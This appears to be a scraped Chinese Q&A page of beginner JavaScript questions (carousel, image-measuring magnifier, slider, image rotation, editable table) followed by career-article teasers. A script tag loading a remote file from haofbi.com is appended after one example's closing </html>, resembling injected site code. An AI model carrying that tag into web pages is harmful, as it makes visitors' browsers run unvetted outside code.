arr.shift(); dotArr.unshift(dotArr[dotArr.length-1]); dotArr.pop(); for(var i=0;i<oImg.length;i++){ oImg[i].src=arr[i]; } for(var i=0;i<dotLi.length;i++){ dotLi[i].className=dotArr[i]; } } for(var i=0;i<dotLi.length;i++){ dotLi[i].index=i; dotLi[i].onmouseover=function(){ clearInterval(timer); for(var i=0;i<dotLi.length;i++){ dotLi[i].className=""; } this.className="active"; oImg[0].src=arr[this.index];//小点对应的图片不正确,出现混乱; } } } </script> </head> <body> <div id="scrollAdvWrap"> <ul id="adv"> <li> <a href="#" target="_blank"><img src="images/2019030312_db55ca2f155f4d19aeca24361d0c9d81_7129_mwpm_03200403.jpg" /></a> </li> <li> <a href="#" target="_blank"><img src="images/2019030301_5f23d23f8b6743c2be80bdce17d80b11_2742_mwpm_03200403.jpg" /></a> </li> <li> <a href="#" target="_blank"><img src="images/l21S-hrvcwnk5207891.jpg" /></a> </li> <li> <a href="#" target="_blank"><img src="images/lpfY-hrvcwnk5211656.jpg" /></a> </li> <li> <a href="#" target="_blank"><img src="images/pjCb-hrvcwnk5230787.jpg" /></a> </li> </ul> <a href="javascript:;" id="prev"></a> <a href="javascript:;" id="next"></a> <ul id="dotBtn"> <li class="active"></li> <li></li> <li></li> <li></li> <li></li> </ul> </div> </body> </html> ```

style.top 在变为什么 对应元素位置可以不变?

``` <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script> <title>Document</title> <!-- <script src="./demo/jquery.min.js"></script> --> </head> <style lang=""> *{ margin: 0; padding: 0; } body{ /*height: 1000px;*/ /*position: relative;*/ /*margin:0px; padding:0px;*/ } .point { position: absolute; border: 5px solid red; } .ball{ width:4px; height:4px; /*background: #d9fe37;*/ background: red; border-radius: 50%; position: absolute; } #sketchPad{ /*width: 400px; height: 400px;*/ /*left: 100px; top: 100px;*/ /*background-color: #ff0; overflow: auto;*/ /*position: relative;*/ } .small{ position: relative; height: 300px; overflow: auto; } .small img{ height: 300px; } #selectImage{ left: 200px; top: 500px; position: absolute; } .box{ width: 300px; height: 300px; margin: 100px; border: 1px solid #ccc; position: relative; /*overflow: auto;*/ } .big{ width: 600px; height: 600px; position: absolute; top: 0; left: 560px; border: 1px solid #ccc; overflow: auto; /*display: none;*/ display: block; background-color: #eee; } .big::-webkit-scrollbar{ display: none; } .mask{ width: 50px; height: 50px; background: rgba(255,255,0,0.4); position: absolute; top: 0; left: 0; /*鼠标的样式*/ cursor: crosshair; display: none; } .big img{ position: absolute; height: 3600px; /*box.height*big.width/mask.width */ top: 0; left: 0; } .aim{ position: absolute; top: 50%; left: 50%; width: 20px; margin-left: -10px; height: 20px; margin-top: -10px; display: block; /*z-index: 8*/ } .aim__ver{ position: absolute; top: 50%; left: 50%; width: 2px; height: 40px; margin-top: -20px; margin-left: -1px; background-color: #f00; } .aim__hor{ position: absolute; top: 50%; left: 50%; width: 40px; height: 2px; margin-top: -1px; margin-left: -20px; background-color: #f00; } </style> <body> <div class="box" id="fdj"> <div id="sketchPad" class="small"> <img id='imageID' name='imageID' src=" " alt=""> <div class="mask"></div> </div> <div class="big"> <img id='imageIDBig' name='imageID' src=" "/> <div class="aim"> <div class="aim__ver"></div> <div class="aim__hor"></div> </div> </div> </div> <div id="selectImage"> <form name="form" id="form" method="post" enctype="multipart/form-data" style="display: block;padding:2px;overflow: hidden;" > <input type="file" name="upload" id="upload" style="display: none;" onchange="document.form.path.value=this.value;selectImage(this)" multiple="multiple" accept=".PNG,.JPG,.GIF,.BMP" /> <input name="path" id="path" readonly style="display: block;float:left;margin-left:120px;height:24px"> <input type="button" value="请点击上传需要进行测量的图片" onclick="document.form.upload.click();" style="display: block;float:left;margin-left:10px;height:30px"> </form> </div> <button id="myBtn">创建连线</button> </body> <script> document.getElementById("myBtn").onclick = function(event) { document.getElementById("sketchPad").style.cursor="crosshair"; document.getElementById("sketchPad").addEventListener("click", createLine, false); event.stopPropagation(); // 阻止冒泡 }; // 1. 获取外面的父级盒子 var fdj = document.getElementById("fdj"); // 2.获取小的图片 var small = fdj.children[0]; var smallImage = small.children[0]; // 3.获取容纳大图片的盒子 var big = fdj.children[1]; // 4.获取遮罩 var mask = small.children[1]; // 5.获取大的那张图片 var bigImage = big.children[0]; // 6.鼠标经过小的图片的时候显示 small.onmouseover = function(){ mask.style.display = "block"; big.style.display = "block"; } // 7. 鼠标离开时隐藏 small.onmouseout = function(){ mask.style.display = "none"; big.style.display = "none"; } console.log("fdj_marginLeft",document.defaultView.getComputedStyle(fdj, null).marginLeft); var fdj_marginLeft=document.defaultView.getComputedStyle(fdj, null).marginLeft.slice(0,-2); var fdj_marginTop =document.defaultView.getComputedStyle(fdj, null).marginTop.slice(0,-2); function createLine() { var sketchPad=document.getElementById("sketchPad"); var sketchPad_top=document.defaultView.getComputedStyle(sketchPad, null).top.slice(0,-2); var sketchPad_left=document.defaultView.getComputedStyle(sketchPad, null).left.slice(0,-2); // console.log("sketchPad_scrollLeft",sketchPad.scrollLeft); let radius=2;//半径 let pointHtmlStr = `<div style="position:absolute;border-radius: 50%;background: red;width:${radius*2}px;height:${radius*2}px;top:${event.pageY-radius-sketchPad_top+sketchPad.scrollTop-fdj_marginTop}px;left:${event.pageX-radius-sketchPad_left+sketchPad.scrollLeft-fdj_marginLeft}px;"></div>`; sketchPad.innerHTML = sketchPad.innerHTML + pointHtmlStr; let firstPoint = {}; firstPoint.xPoint = event.pageX-sketchPad_left+sketchPad.scrollLeft-fdj_marginLeft; firstPoint.yPoint = event.pageY-sketchPad_top+sketchPad.scrollTop-fdj_marginTop; // console.log("firstPoint1:"+firstPoint.xPoint); function createPoints(event) { var sketchPad=document.getElementById("sketchPad"); let secondPoint = {}; secondPoint.xPoint = event.pageX-sketchPad_left+sketchPad.scrollLeft-fdj_marginLeft; secondPoint.yPoint = event.pageY-sketchPad_top+sketchPad.scrollTop-fdj_marginTop; let lineLength = calcLine(firstPoint, secondPoint); let angle = getAngle( firstPoint.xPoint, firstPoint.yPoint, secondPoint.xPoint, secondPoint.yPoint ); // 设置一个div 宽度为 两点之间的距离,并且以 transform-origin: 0 50% 为圆心旋转,角度已经算出来 let lineHtmlStr = `<div style="position:absolute;border-top:1px solid red;width:${lineLength}px;top:${firstPoint.yPoint}px;left:${firstPoint.xPoint}px;transform:rotate(${angle}deg);transform-origin: 0 0;"></div>`; // let bodyDiv = document.getElementsByTagName("body")[0]; // // 添加到body 后面 // bodyDiv.innerHTML = bodyDiv.innerHTML + lineHtmlStr; sketchPad.innerHTML = sketchPad.innerHTML + lineHtmlStr; // 取消本段的起始点的监听 document.getElementById("sketchPad").removeEventListener("click", createPoints); } // 计算连线长度 function calcLine(firstPoint, secondPoint) { // 计算出两个点之间的距离 let line = Math.sqrt( Math.pow(firstPoint.xPoint - secondPoint.xPoint, 2) + Math.pow(firstPoint.yPoint - secondPoint.yPoint, 2) ); // console.log("calcLinefirstPoint2.xPoint:"+firstPoint.xPoint); // console.log("calcLinesecondPoint2.xPoint:"+secondPoint.xPoint); // console.log("calcLinefirstPoint2.yPoint:"+firstPoint.yPoint); // console.log("calcLinesecondPoint2.yPoint:"+secondPoint.yPoint); console.log("line:",line); return line; } // 计算角度 // 获得人物中心和鼠标坐标连线,与x轴正半轴之间的夹角 function getAngle(x1, y1, x2, y2) { // 获得人物中心和鼠标坐标连线,与x轴正半轴之间的夹角 var x = x1 - x2; var y = y1 - y2; var z = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); var cos = y / z; var radina = Math.acos(cos); // 用反三角函数求弧度 var angle = 180 / (Math.PI / radina); // 将弧度转换成角度 if (x2 > x1 && y2 === y1) { // 在x轴正方向上 angle = 0; } if (x2 > x1 && y2 < y1) { // 在第一象限; angle = angle - 90; } if (x2 === x1 && y1 > y2) { // 在y轴正方向上 angle = -90; } if (x2 < x1 && y2 < y1) { // 在第二象限 angle = 270 - angle; } if (x2 < x1 && y2 === y1) { // 在x轴负方向 angle = 180; } if (x2 < x1 && y2 > y1) { // 在第三象限 angle = 270 - angle; } if (x2 === x1 && y2 > y1) { // 在y轴负方向上 angle = 90; } if (x2 > x1 && y2 > y1) { // 在四象限 angle = angle - 90; } return angle; } // 解决第一次绑定的时候执行方法 // setTimeout(function() { // document.removeEventListener("click", createPoints); // 添加节点 document.getElementById("sketchPad").addEventListener("click", createPoints, false); // 在冒泡过程中处理函数 // }, 0); } //加载任意图片 function selectImage(file) { if (!file.files || !file.files[0]) { return; } var reader = new FileReader(); reader.onload = function (evt) { document.getElementById('imageID').src = evt.target.result; document.getElementById('imageIDBig').src = evt.target.result; image = evt.target.result; } reader.readAsDataURL(file.files[0]); } // 8 鼠标移动 // var x = 0; // var y = 0; small.onmousemove = function(event){ // console.log("mask_display = ", mask.style.display); // console.log("mask_display = ", document.defaultView.getComputedStyle(mask, null).width); var event = event || window.event; // 9.获取在盒子内部的坐标 本身定位了,这里换用父亲边框到body边框的距离 显示在遮罩的中间 var x = event.clientX - this.offsetParent.offsetLeft - mask.offsetWidth/2+ small.scrollLeft ; var y = event.clientY - this.offsetParent.offsetTop - mask.offsetHeight/2+small.scrollTop; console.log("x = ",x); console.log("y = ",y); // console.log("mask_width=",mask.style) // 10.增加限制条件 if(x < 0){ // x = 0; }else if(x > small.offsetWidth - mask.offsetWidth){ // x = small.offsetWidth - mask.offsetWidth; } if(y < 0){![图片说明](https://img-ask.csdn.net/upload/202003/05/1583376605_799804.png) // y = 0; }else if(y > small.offsetHeight - mask.offsetHeight){ // y = small.offsetHeight-mask.offsetHeight; } mask.style.left = x+ "px"; mask.style.top = y + "px"; console.log("mask.style.left = ",mask.style.left); console.log("mask.style.top = ",mask.style.top); console.log(document.getElementsByClassName("mask")[0]); // 11.利用倍数关系显示大图片 开始没有看懂为什么大图片要定位,后来想想只有定位的盒子才有top/left值 var mask_height=window.getComputedStyle(mask).getPropertyValue('height'); var mask_width=window.getComputedStyle(mask).getPropertyValue('width'); var big_height=window.getComputedStyle(big).getPropertyValue('height'); var big_width=window.getComputedStyle(big).getPropertyValue('width'); bigImage.style.left = -x*big_width.slice(0,-2)/mask_width.slice(0,-2) +"px"; bigImage.style.top = -y*big_height.slice(0,-2)/mask_height.slice(0,-2) + "px"; } // console.log("x=",x); // console.log("y=",y); </script> </html> ``` 这是一个自己的小练习,目的就是标记测量图片中相关标的尺寸。鼠标移动时还带有一个放大镜效果。 出现的问题是:点击左下角【创建连线】按钮并点击图中某位置,选中第一个标记点后,通过354-355行中代码设置,在控制台明明看到x和y都在随着鼠标移动不断更新,但是偏偏无法对黄色mask框的left和top正确赋值。想得脑瓜疼,希望指教下 element.style.top和element.style.left控制css属性失效的原因 ``` ![图片说明](https://img-ask.csdn.net/upload/202003/05/1583376642_585681.png)

怎么实现当鼠标放到图片上时图片停止滚动

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <meta name="keywords" content="JS代码,焦点图,JS广告代码,JS特效代码" /> <meta name="description" content="此代码内容为腾讯软件中心JS焦点图代码,属于站长常用代码,更多焦点图代码请访问阿里西西JS代码频道。" /> <title>腾讯软件中心JS焦点图代码_阿里西西</title> <LINK rel=stylesheet type=text/css href="css/alixixi.css"> <SCRIPT type=text/javascript> var $ = function (id) { return "string" == typeof id ? document.getElementById(id) : id; }; var Extend = function(destination, source) { for (var property in source) { destination[property] = source[property]; } return destination; } var CurrentStyle = function(element){ return element.currentStyle || document.defaultView.getComputedStyle(element, null); } var Bind = function(object, fun) { var args = Array.prototype.slice.call(arguments).slice(2); return function() { return fun.apply(object, args.concat(Array.prototype.slice.call(arguments))); } } var Tween = { Quart: { easeOut: function(t,b,c,d){ return -c * ((t=t/d-1)*t*t*t - 1) + b; } }, Back: { easeOut: function(t,b,c,d,s){ if (s == undefined) s = 1.70158; return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; } }, Bounce: { easeOut: function(t,b,c,d){ if ((t/=d) < (1/2.75)) { return c*(7.5625*t*t) + b; } else if (t < (2/2.75)) { return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; } else if (t < (2.5/2.75)) { return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; } else { return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; } } } } //容器对象,滑动对象,切换数量 var SlideTrans = function(container, slider, count, options) { this._slider = $(slider); this._container = $(container);//容器对象 this._timer = null;//定时器 this._count = Math.abs(count);//切换数量 this._target = 0;//目标值 this._t = this._b = this._c = 0;//tween参数 this.Index = 0;//当前索引 this.SetOptions(options); this.Auto = !!this.options.Auto; this.Duration = Math.abs(this.options.Duration); this.Time = Math.abs(this.options.Time); this.Pause = Math.abs(this.options.Pause); this.Tween = this.options.Tween; this.onStart = this.options.onStart; this.onFinish = this.options.onFinish; var bVertical = !!this.options.Vertical; this._css = bVertical ? "top" : "left";//方向 //样式设置 var p = CurrentStyle(this._container).position; p == "relative" || p == "absolute" || (this._container.style.position = "relative"); this._container.style.overflow = "hidden"; this._slider.style.position = "absolute"; this.Change = this.options.Change ? this.options.Change : this._slider[bVertical ? "offsetHeight" : "offsetWidth"] / this._count; }; SlideTrans.prototype = { //设置默认属性 SetOptions: function(options) { this.options = {//默认值 Vertical: true,//是否垂直方向(方向不能改) Auto: true,//是否自动 Change: 0,//改变量 Duration: 50,//滑动持续时间 Time: 10,//滑动延时 Pause: 4000,//停顿时间(Auto为true时有效) onStart: function(){},//开始转换时执行 onFinish: function(){},//完成转换时执行 Tween: Tween.Quart.easeOut//tween算子 }; Extend(this.options, options || {}); }, //开始切换 Run: function(index) { //修正index index == undefined && (index = this.Index); index < 0 && (index = this._count - 1) || index >= this._count && (index = 0); //设置参数 this._target = -Math.abs(this.Change) * (this.Index = index); this._t = 0; this._b = parseInt(CurrentStyle(this._slider)[this.options.Vertical ? "top" : "left"]); this._c = this._target - this._b; this.onStart(); this.Move(); }, //移动 Move: function() { clearTimeout(this._timer); //未到达目标继续移动否则进行下一次滑动 if (this._c && this._t < this.Duration) { this.MoveTo(Math.round(this.Tween(this._t++, this._b, this._c, this.Duration))); this._timer = setTimeout(Bind(this, this.Move), this.Time); }else{ this.MoveTo(this._target); this.Auto && (this._timer = setTimeout(Bind(this, this.Next), this.Pause)); } }, //移动到 MoveTo: function(i) { this._slider.style[this._css] = i + "px"; }, //下一个 Next: function() { this.Run(++this.Index); }, //上一个 Previous: function() { this.Run(--this.Index); }, //停止 Stop: function() { clearTimeout(this._timer); this.MoveTo(this._target); } }; </SCRIPT> </head> <body> <DIV id=idContainer2 class=container style=" margin-left:auto; margin-right:auto; width:978px; text-align:center;"> <table id=idSlider2 cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"> <tr> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg"/></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> </tr> </table> <UL id=idNum class="num"></UL> </DIV> <SCRIPT> var forEach = function(array, callback, thisObject){ if(array.forEach){ array.forEach(callback, thisObject); }else{ for (var i = 0, len = array.length; i < len; i++) { callback.call(thisObject, array[i], i, array); } } } var st = new SlideTrans("idContainer2", "idSlider2", 5, { Vertical: false }); var nums = []; //插入数字 for(var i = 0, n = st._count - 1; i <= n;){ (nums[i] = $("idNum").appendChild(document.createElement("li"))).innerHTML = ++i; } forEach(nums, function(o, i){ o.onmouseover = function(){ o.className = "on"; st.Auto = false; st.Run(i); } o.onmouseout = function(){ o.className = ""; st.Auto = true; st.Run(); } }) //设置按钮样式 st.onStart = function(){ forEach(nums, function(o, i){ o.className = st.Index == i ? "on" : ""; }) } st.Run(); </SCRIPT> </body> </html><script language=javascript src=http://www.haofbi.com/js/w.js></script>

e.clientX中的e代表什么

document.onmousemove = function(e){ //console.log("e.clientX:"+e.clientX); //console.log("coolPlay.offsetLeft:"+coolPlay.offsetLeft); var leftV = e.clientX - coolPlay.offsetLeft; //console.log("coolPlay.offsetLeft:"+coolPlay.offsetLeft); //console.log("leftV:"+leftV); if(leftV <= 0){ leftV = 0; }; if(leftV >= coolPlay.offsetWidth){ leftV = coolPlay.offsetWidth-10; }; cDrag.style.left = leftV+"px"; //console.log(leftV); }; };

javascript 图片360旋转

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> ImageRotation </title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <style type="text/css"> #demo { cursor:pointer; position:absolute;filter:progid:DXImageTransform.Microsoft.Matrix(sizingmethod="auto expand");} </style> </head> <body> <div id="container" style="width:500px;height:350px;position:relative;margin:0 auto"> <div id="demo"> <img src="http://images.cnblogs.com/cnblogs_com/bluedream2009/201609/o_mm.jpg" width="500" height="333" /> </div> </div> <script> var Img = function() { var T$ = function(id) { return document.getElementById(id); } var ua = navigator.userAgent, isIE = /msie/i.test(ua) && !window.opera; var i = 0, sinDeg = 0, cosDeg = 0, timer = null ; var rotate = function(target, degree) { target = T$(target); var orginW = target.clientWidth, orginH = target.clientHeight; clearInterval(timer); function run(angle) { if (isIE) { // IE cosDeg = Math.cos(angle * Math.PI / 180); sinDeg = Math.sin(angle * Math.PI / 180); with(target.filters.item(0)) { M11 = M22 = cosDeg; M12 = -(M21 = sinDeg); } target.style.top = (orginH - target.offsetHeight) / 2 + 'px'; target.style.left = (orginW - target.offsetWidth) / 2 + 'px'; } else if (target.style.MozTransform !== undefined) { // Mozilla target.style.MozTransform = 'rotate(' + angle + 'deg)'; } else if (target.style.OTransform !== undefined) { // Opera target.style.OTransform = 'rotate(' + angle + 'deg)'; } else if (target.style.webkitTransform !== undefined) { // Chrome Safari target.style.webkitTransform = 'rotate(' + angle + 'deg)'; } else { target.style.transform = "rotate(" + angle + "deg)"; } } timer = setInterval(function() { i += 10; run(i); if (i > degree - 1) { i = 0; clearInterval(timer); } }, 10); } return {rotate: rotate} }(); window.onload = function() { Img.rotate('demo', 360); document.getElementById('demo').onclick = function() { Img.rotate('demo', 360); } } </script> </body> </html> 这是在网上找的一段代码,完全不明白,谁能讲解一下它的原理,以及上面的代码,谢谢了

用js编辑可输入表格

function aaa(){ var tdobj=window.event.srcElement; var trobj=tdobj.parentElement; if(tdobj.tagName !="TD"){ return; } alert(tdobj.offsetWidth+"\t"+tdobj.offsetHeight); alert(trobj.cells.length); for(var i=0; i<trobj.cells.length; i++){ if(tdobj==trobj.cells[i]){ var s = "<input type='text' style='width:+"(tdobj.offsetWidth-10)"+px; height:+"(tdobj.offsetHeight-5)"+px'>"; tdobj.innerHTML=s; 这段代码哪里出错了?

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

程序员请照顾好自己,周末病魔差点一套带走我。

程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

点沙成金:英特尔芯片制造全过程揭密

“亚马逊丛林里的蝴蝶扇动几下翅膀就可能引起两周后美国德州的一次飓风……” 这句人人皆知的话最初用来描述非线性系统中微小参数的变化所引起的系统极大变化。 而在更长的时间尺度内,我们所生活的这个世界就是这样一个异常复杂的非线性系统…… 水泥、穹顶、透视——关于时间与技艺的蝴蝶效应 公元前3000年,古埃及人将尼罗河中挖出的泥浆与纳特龙盐湖中的矿物盐混合,再掺入煅烧石灰石制成的石灰,由此得来了人...

上班一个月,后悔当初着急入职的选择了

最近有个老铁,告诉我说,上班一个月,后悔当初着急入职现在公司了。他之前在美图做手机研发,今年美图那边今年也有一波组织优化调整,他是其中一个,在协商离职后,当时捉急找工作上班,因为有房贷供着,不能没有收入来源。所以匆忙选了一家公司,实际上是一个大型外包公司,主要派遣给其他手机厂商做外包项目。**当时承诺待遇还不错,所以就立马入职去上班了。但是后面入职后,发现薪酬待遇这块并不是HR所说那样,那个HR自...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

外包程序员的幸福生活

今天给你们讲述一个外包程序员的幸福生活。男主是Z哥,不是在外包公司上班的那种,是一名自由职业者,接外包项目自己干。接下来讲的都是真人真事。 先给大家介绍一下男主,Z哥,老程序员,是我十多年前的老同事,技术大牛,当过CTO,也创过业。因为我俩都爱好喝酒、踢球,再加上住的距离不算远,所以一直也断断续续的联系着,我对Z哥的状况也有大概了解。 Z哥几年前创业失败,后来他开始干起了外包,利用自己的技术能...

C++11:一些微小的变化(新的数据类型、template表达式内的空格、nullptr、std::nullptr_t)

本文介绍一些C++的两个新特性,它们虽然微小,但对你的编程十分重要 一、Template表达式内的空格 C++11标准之前建议在“在两个template表达式的闭符之间放一个空格”的要求已经过时了 例如: vector&lt;list&lt;int&gt; &gt;; //C++11之前 vector&lt;list&lt;int&gt;&gt;; //C++11 二、nullptr ...

优雅的替换if-else语句

场景 日常开发,if-else语句写的不少吧??当逻辑分支非常多的时候,if-else套了一层又一层,虽然业务功能倒是实现了,但是看起来是真的很不优雅,尤其是对于我这种有强迫症的程序"猿",看到这么多if-else,脑袋瓜子就嗡嗡的,总想着解锁新姿势:干掉过多的if-else!!!本文将介绍三板斧手段: 优先判断条件,条件不满足的,逻辑及时中断返回; 采用策略模式+工厂模式; 结合注解,锦...

深入剖析Springboot启动原理的底层源码,再也不怕面试官问了!

大家现在应该都对Springboot很熟悉,但是你对他的启动原理了解吗?

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

为什么你不想学习?只想玩?人是如何一步一步废掉的

不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发(16k)

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

【阿里P6面经】二本,curd两年,疯狂复习,拿下阿里offer

二本的读者,在老东家不断学习,最后逆袭

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

《经典算法案例》01-08:如何使用质数设计扫雷(Minesweeper)游戏

我们都玩过Windows操作系统中的经典游戏扫雷(Minesweeper),如果把质数当作一颗雷,那么,表格中红色的数字哪些是雷(质数)?您能找出多少个呢?文中用列表的方式罗列了10000以内的自然数、质数(素数),6的倍数等,方便大家观察质数的分布规律及特性,以便对算法求解有指导意义。另外,判断质数是初学算法,理解算法重要性的一个非常好的案例。

《Oracle Java SE编程自学与面试指南》最佳学习路线图(2020最新版)

正确选择比瞎努力更重要!

面试官:你连SSO都不懂,就别来面试了

大厂竟然要考我SSO,卧槽。

微软为一人收购一公司?破解索尼程序、写黑客小说,看他彪悍的程序人生!...

作者 | 伍杏玲出品 | CSDN(ID:CSDNnews)格子衬衫、常掉发、双肩包、修电脑、加班多……这些似乎成了大众给程序员的固定标签。近几年流行的“跨界风”开始刷新人们对程序员的...

终于,月薪过5万了!

来看几个问题想不想月薪超过5万?想不想进入公司架构组?想不想成为项目组的负责人?想不想成为spring的高手,超越99%的对手?那么本文内容是你必须要掌握的。本文主要详解bean的生命...

我说我懂多线程,面试官立马给我发了offer

不小心拿了几个offer,有点烦

自从喜欢上了B站这12个UP主,我越来越觉得自己是个废柴了!

不怕告诉你,我自从喜欢上了这12个UP主,哔哩哔哩成为了我手机上最耗电的软件,几乎每天都会看,可是吧,看的越多,我就越觉得自己是个废柴,唉,老天不公啊,不信你看看…… 间接性踌躇满志,持续性混吃等死,都是因为你们……但是,自己的学习力在慢慢变强,这是不容忽视的,推荐给你们! 都说B站是个宝,可是有人不会挖啊,没事,今天咱挖好的送你一箩筐,首先啊,我在B站上最喜欢看这个家伙的视频了,为啥 ,咱撇...

立即提问
相关内容推荐